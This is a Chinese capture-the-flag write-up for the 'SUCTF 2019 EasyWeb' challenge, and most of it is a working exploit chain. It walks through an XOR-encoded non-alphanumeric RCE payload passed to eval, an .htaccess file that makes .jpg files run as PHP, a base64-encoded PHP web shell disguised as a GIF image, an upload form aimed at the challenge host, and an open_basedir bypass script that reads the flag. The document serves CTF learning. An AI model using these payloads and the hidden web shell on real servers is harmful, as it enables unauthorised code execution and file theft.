Buu - [SUCTF 2019]EasyWeb
知识点:
- 代码审计
- 无字符RCE
count_chars($hhh, 3);
-> 这个函数两个参数,第一个参数提供字符串,第二个提供统计模式(0, 1, 2, 3) 0是默认值
-> 1:返回字符串中每个字节出现的次数;3:以整数形式返回
分析:
<?php
function get_the_flag(){
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);# 客户端IP地址, phpinfo中可以看到
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
# strrpos 查找字符串中某个子字符串最后一次出现的位置
# 这里用来获取后缀名
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
# mb_strpos()用于在一个字符串中寻找另一个字符串的起始位置,返回起始位置的下标
if(!exif_imagetype($tmp_name)) die("^_^");
# exif_imagetype()函数读取一个图像文件的头信息,返回该图像的类型,这个函数对于验证上传的文件是否为有效的图像文件非常有用。
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) # 过滤点
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh); # 执行点
?>
我第一想法是绕过 preg_match()函数
直接来执行eval函数
但是正则匹配过滤掉了很多东西,我想不出来可以绕过的方法
get_the_flag()函数肯定是要有用处的,用在哪里,怎么用?
-> eval()执行代码, 可以调用get_the_flag()函数
-> eval( h h h ) : ‘ hhh):` hhh):‘hhh=$_GETb;&b=get_the_flag`
但是后续呢? get_the_flag()函数
是与文件操作相关的
-> 审计函数,不能是php后缀,文件内容不能有 <?
题解:
1.通过eval($hhh)调用函数
-> ?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
2.在phpinfo页面寻找信息
open_basedir — /var/www/html/:/tmp/
3.Apache服务器,文件上传类,想到apache的特性.htaccess文件
这种做法我第一次遇见,记录一下。
.htaccess文件内容
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg
poc.jpg文件内容 (因为base64按4位一解码故文件幻数头补上2位):
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
在本地实现文件上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://8d22cfbb-0ec0-42f4-b27f-de6d04423133.node4.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
upload/tmp_1254adea244b6ef09ecedbb729f6c397/poc.jpg
upload/tmp_1254adea244b6ef09ecedbb729f6c397/.htaccess
蚁剑连接
绕过open_basedir限制
#upload/shell.php
<?php
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
echo "<br>";
echo file_get_contents('/THis_Is_tHe_F14g');
参考:
[wp](